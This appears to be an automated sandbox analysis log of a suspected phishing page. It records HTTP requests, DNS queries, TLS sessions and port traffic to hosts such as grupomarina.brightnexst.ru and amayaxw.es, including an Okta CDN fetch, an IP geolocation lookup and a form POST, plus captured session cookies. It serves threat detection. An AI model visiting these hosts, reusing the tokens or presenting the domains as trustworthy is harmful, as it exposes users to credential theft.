laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://grupomarina.brightnexst.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsk0agvHzvnbvksSbpV12V8Bcwx40 HTTP/1.1Host: 5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsjeRFV6JKY12RPztaFwx38 HTTP/1.1Host: 5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: xfeoii3kbm.woofradio.cfd
Source: global traffic	DNS traffic detected: DNS query: grupomarina.brightnexst.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: xoq7.qakaco.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: 5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es

Source: unknown

HTTP traffic detected: POST /nm6KwyhgTPlcdaTFM6w4Te3A1nGYYINg9w5 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveContent-Length: 809sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAxg0t7rZuRME4SDxsec-ch-ua-mobile: ?0Accept: */*Origin: https://grupomarina.brightnexst.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://grupomarina.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRLOEtjTVhIWUcrNGFaY0NYYmg4T0E9PSIsInZhbHVlIjoidE5lQ1dTM1A0NkNHbGV5ajZjVzViTzVxbDgybVpsWlFHc09FaHFLaTZwY3hFUml3ZFJKWldJcEhkS0RIMzE4dVZVTjZ2OVg0Zzg2dWM1SlZRdzFWMW5ucW9YM0pqczFCVVc5ekJrTzJDRGU3SlNuUjBkYmFJR0hCcmFpY0lGQzUiLCJtYWMiOiIxYTBiZjkwYTVjYmM3Yzk4Zjc1ODc1ZjQyYWRlYWQ5MGI1ODM3ZjQwMGJhZmY1MWY0M2ZhMGYzNmRhY2ZkYjJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkxMVXpXbmc0U1N0WTRTc1NGbFppUUE9PSIsInZhbHVlIjoia1NoQXFBVGR5Ynd5SVpYbHNWM25EWkhQdEFBcVNyU0RhWExTdGZ3bFkvekRzN0UrcDV2cGJyNDJSbXl6RytwUWxhejVXcUcvWUc1TzBpcGJkd3dTZ1hsMkhMcThzdWNoOUdpTWJoV2tCLzNUYW9MRFZLU3V4NUx4Rk92ekdzVE8iLCJtYWMiOiI4ZDA5NWRmODYzMTJiOTBhMmI0NjdlNDllNjgwODc0YjM2YjUwMzUxMzE2YWM5YzVhZDliMWVhMjkxMzAyNGQ0IiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 20:55:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M38fjdfrZwMhGFgUDmUvPM9bt5QvH3JId4Mx%2BqAaPhycRfw1luQ6fV4eKXgcqlgHJsfyB5s7OV3viqiNx1SobaJGrA1NNUK%2F5ODu%2BVstk%2Ftq9UHQsKR%2BxefYBWT2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1512&min_rtt=1332&rtt_var=492&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2059&delivery_rate=1991746&cwnd=251&unsent_bytes=0&cid=4e1a2a2ba52e5651&ts=87&x=0"Server: cloudflareCF-RAY: 921f63c7ea698cbd-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1789&rtt_var=681&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1720&delivery_rate=1596500&cwnd=183&unsent_bytes=0&cid=28ef9c26b81f0ccb&ts=409&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 20:55:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7rl53jo%2FaF9PMyZ58I2rxkMVjLCL19Hr9fITUInjwtiM5UMEaICinvW1rqVy25h0ZAGlqtJfbPXOe3FZESl7UlCCxOzWpwqPvmzyIxEZeHBwrdGzJ9F0TB7KR4vK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1694&min_rtt=1499&rtt_var=594&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2068&delivery_rate=1920424&cwnd=250&unsent_bytes=0&cid=8def3e7a98fcb408&ts=86&x=0"Server: cloudflareCF-RAY: 921f63d01e3c432b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1699&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1729&delivery_rate=1650650&cwnd=190&unsent_bytes=0&cid=aaa63fda0f09f7c1&ts=425&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 20:55:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ThFIpE0Tr%2BKwwkfKT5mmL9SCjiU98BQrTdJPeYfB7%2BQCzpzU1M6slVJnThgdSALxeocpQKgd5sBZFt5YaFmSRBOS2tMHsAKAO555WRLcjj7eSGq1Ztg1wEvP35Jw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1244&min_rtt=1236&rtt_var=480&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2080&delivery_rate=2219157&cwnd=251&unsent_bytes=0&cid=b941efcfaaabf3a8&ts=73&x=0"Server: cloudflareCF-RAY: 921f63e72c580c9e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1681&rtt_var=639&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1742&delivery_rate=1700640&cwnd=81&unsent_bytes=0&cid=8f953bdf33a91e01&ts=584&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 20:55:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4ESolW0Cf3pQqasSDugpsMcSG6oBoq0fLXP0Ppa9D4y7daoicYdaJx2vXf83w8aIvXzKc0qoxak%2B1ZR3jmO6hz%2BBz9OAYc5FQE818C4D2vKOquBeUMcdZ6PEjex0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=1162&min_rtt=1104&rtt_var=412&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2319&delivery_rate=2126284&cwnd=251&unsent_bytes=0&cid=ce0fc092dea349f3&ts=77&x=0"Cache-Control: max-age=14400CF-Cache-Status: MISSServer: cloudflareCF-RAY: 921f63f9eff714a8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2115&min_rtt=2114&rtt_var=795&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1980&delivery_rate=1373471&cwnd=162&unsent_bytes=0&cid=7f97e4a6b7aef019&ts=403&x=0"

Source: chromecache_98.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_98.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_102.1.dr	String found in binary or memory: https://www.etsy.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.2.147:443 -> 192.168.2.16:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49716 version: TLS 1.2
